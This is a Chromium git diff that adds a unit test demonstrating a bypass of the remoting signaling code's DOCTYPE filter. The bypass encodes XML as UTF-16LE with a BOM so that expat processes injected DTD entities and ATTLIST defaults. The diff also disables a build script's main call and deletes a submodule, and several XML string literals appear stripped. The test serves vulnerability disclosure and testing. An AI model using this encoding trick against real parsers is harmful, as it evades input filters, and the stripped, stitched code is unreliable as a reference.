diff --git a/build/vs_toolchain.py b/build/vs_toolchain.py index 88489da743f6d..ef2ec5e69b41c 100755 --- a/build/vs_toolchain.py +++ b/build/vs_toolchain.py @@ -669,4 +669,5 @@ def main(): if __name__ == '__main__': - sys.exit(main()) + #sys.exit(main()) + pass diff --git a/remoting/signaling/BUILD.gn b/remoting/signaling/BUILD.gn index c593eacb4fb2f..2c31d321d3bcf 100644 --- a/remoting/signaling/BUILD.gn +++ b/remoting/signaling/BUILD.gn @@ -127,6 +127,7 @@ source_set("unit_tests") { "jingle_message_struct_converter_unittest.cc", "jingle_message_xml_converter_unittest.cc", "message_tracker_unittest.cc", + "signal_strategy_unittest.cc", "signaling_address_unittest.cc", "signaling_id_util_unittest.cc", ] diff --git a/remoting/signaling/signal_strategy_unittest.cc b/remoting/signaling/signal_strategy_unittest.cc new file mode 100644 index 0000000000000..2525fb4599afb --- /dev/null +++ b/remoting/signaling/signal_strategy_unittest.cc @@ -0,0 +1,128 @@ +// Copyright 2024 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +#include "remoting/signaling/signal_strategy.h" + +#include +#include + +#include "base/memory/ptr_util.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/libjingle_xmpp/xmllite/xmlelement.h" + +namespace remoting { + +namespace { + +// Builds a std::string containing the UTF-16LE encoding of |ascii| with a +// leading FF FE BOM. Embedded 0x00 bytes are preserved (std::string is +// length-delimited, and XmlParser::ParseXml() passes text.length() to expat). +std::string Utf16LeWithBom(const std::string& ascii) { + std::string out; + out.push_back('\xFF'); + out.push_back('\xFE'); + for (char c : ascii) { + out.push_back(c); + out.push_back('\x00'); + } + return out; +} + +} // namespace + +// Demonstrates that the byte-literal `xml.find(" ]>) in UTF-16. +// +// This is a security-control bypass (CWE-176), not a memory-corruption bug. +// The proof of bypass is that an internal-DTD general entity declared inside +// the DOCTYPE is *expanded* in the parsed result -- which is only possible if +// expat entered doProlog() and processed the entity declaration. +TEST(SignalStrategyParseStanzaXmlTest, Utf16DoctypeFilterBypass) { + // The XML document, as logical characters. It declares a general entity + // `proof` inside the internal DTD subset and references it in the body. + static constexpr char kDoc[] = + " ]>" + "" + "&proof;"; + + // ------------------------------------------------------------------------- + // Control: the same document in plain ASCII *would* be caught by the filter. + // ------------------------------------------------------------------------- + const std::string ascii_doc(kDoc); + EXPECT_NE(ascii_doc.find(" declaration is stored; + // the &proof; reference in body is expanded. + auto stanza = base::WrapUnique( + jingle_xmpp::XmlElement::ForStr(utf16_doc)); + ASSERT_NE(stanza, nullptr) + << "expat should successfully parse the UTF-16LE document (BOM-only, " + "no decl, so ExpatXmlDecl never fires)"; + + // The &proof; entity reference was expanded to its replacement text. + // This is only possible if expat entered doProlog and processed the + // declaration in the internal DTD subset -- i.e. the exact + // attack surface the find("BodyText(), "DTD_ENTITY_EXPANDED") + << "VULNERABILITY CONFIRMED: expat processed the internal DTD subset " + "and expanded the &proof; general entity, proving that the " + "find(\"Name().LocalPart(), "iq"); +} + +// Additional demonstration: ATTLIST default-value injection via the same +// bypass. expat's doProlog applies defaults to +// elements that omit the attribute, exposing storeAttributeValue / +// appendAttributeValue paths. This shows the bypass reaches more of the +// internal-subset state machine than just . +TEST(SignalStrategyParseStanzaXmlTest, Utf16DoctypeAttlistDefault) { + static constexpr char kDoc[] = + " ]>" + ""; + + const std::string utf16_doc = Utf16LeWithBom(kDoc); + ASSERT_EQ(utf16_doc.find("( + jingle_xmpp::XmlElement::ForStr(utf16_doc)); + ASSERT_NE(stanza, nullptr); + + // The element did NOT carry an "injected" attribute in the source; + // its presence proves expat's doProlog processed the default and + // appendAttributeValue ran on attacker DTD bytes. + const jingle_xmpp::QName kInjected(std::string(), "injected"); + EXPECT_EQ(stanza->Attr(kInjected), "FROM_DTD_ATTLIST") + << "ATTLIST default applied -- doProlog internal-subset processing " + "reached via UTF-16 bypass."; +} + +} // namespace remoting diff --git a/third_party/search_engines_data/resources_internal b/third_party/search_engines_data/resources_internal deleted file mode 160000 index d0158bfe38a17..0000000000000 --- a/third_party/search_engines_data/resources_internal +++ /dev/null @@ -1 +0,0 @@ -Subproject commit d0158bfe38a1759ead13e53ed0332aefdb0f512b